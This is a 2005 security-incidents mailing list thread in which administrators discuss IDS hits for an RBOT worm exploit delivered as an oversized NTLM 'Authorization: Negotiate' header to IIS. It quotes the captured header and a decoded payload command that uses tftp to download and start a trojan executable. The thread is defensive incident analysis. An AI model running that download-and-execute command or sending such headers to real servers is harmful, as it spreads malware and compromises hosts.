Re: New http attack?
Ron <[email protected]>
| Newsgroups | gmane.comp.security.incidents |
|---|---|
| Message-ID | <[email protected]> |
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Out of curiosity, I notice that when I decode any hit on my IDS with that exploit, it ends up with the following command (along with shellcode and padding, of course): cmd /c tftp -i 0.0.0.0 GET wuamkop.exe&start wuamkop.exe&exit Do you know why it would be "0.0.0.0"? Is it just failing to get the proper ip for the trojan or what? Thanks, Ron Kirby Angell wrote: > - From http://isc.sans.org/diary.php?date=2005-06-03: > > "On a similar note, we've had one report of what looks to be like > another RBOT vector, this time SMB over HTTP. An IIS server will accept > multiple forms of authentication, including (non-IIS folks cover your > eyes, this will hurt) NTLM via base64 encoding. You looked....I warned > you! Look for: > > GET / HTTP/1.0 > Host: xxx.xxx.xxx.xxx > Authorization: Negotiate > YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4IQYgOCBAEAQUFBQUFBQUFBQUFBQUFBQ..... > > All that gibberish can be decoded with good ol' "mimencode -u" to reveal > an RBOT tftp download command. The long and short of it is POLP - > Principle of Least Privilege. Disable any authentication methods that > are unnecessary, especially on your big-bad-world-facing servers. Me, I > don't trust anyone to play nicely, inside or out." > > Keith T. Morgan wrote: > >>>A google search didn't turn up anything of value on this, so I'm posting >>>to the list. If I've missed something that's common knowledge here, I >>>appologize for inverting the signal/noise ratio a bit with this post. >>> >>>We've seen an attack that triggered a snort bleeding-edge hit for "smb >>>over http authentication." This isn't particularly alarming, but, what >>>caught my attention is what appears to be a very large buffer in part of >>>the packet. >>> >>>The ascii decoded capture looks a bit like this: >>> >>>GET / HTTP/1.0 >>>Host: obfuscated >>>Authorization: Negotiate <what may be an encrypted password> >>>QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB. >>> >>>This "QUFB" string is repeated for 1400 bytes or so, and I'm assuming >>>went beyond the single packet capture I have. >>> >>>The IIS logs indicate a simple GET / with a 401 response code. >>> >>>Has anyone seen this "QUFBQUFB" string in a worm, virus, or exploit >>>floating around out there somewhere? I think chances of this being a FP >>>are low since we're not using NTLM or windows native/ad authentication >>>on this site. >>> >>> >>>-- Keith Morgan >>>-- CISSP, MCP, CCSE/CCSA >>> >>>"Hey Pants... Any advice for getting through turn 1 with 55 motorcycles >>>on the grid?" >>>"Yeah. Don't Crash." >>>-- Sage motorcycle roadracing advice from Shawn (Pants) Romano >>>************************************************************************************************** >>>The contents of this email and any attachments are confidential. >>>It is intended for the named recipient(s) only. >>>If you have received this email in error please notify the system manager or the >>>sender immediately and do not disclose the contents to anyone or make copies. >>> >>>** this message has been scanned for viruses, vandals and malicious content ** >>>************************************************************************************************** >>> > > > > -- > Thank you, > > Kirby Angell > Get notified anytime your website goes down! > http://www.alertra.com > key: 9004F4C0 > fingerprint: DD7E E88D 7F50 2A1E 229D 836A DB5B A751 9004 F4C0 -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.9.15 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFCqKL0fqSf2EkP4p4RAnvvAJwMvlwYEyY+kHc1YllAF0GeZmtxcACfYzFh FJNQRITUvUEjMWvwPSVEx7w= =jR8f -----END PGP SIGNATURE-----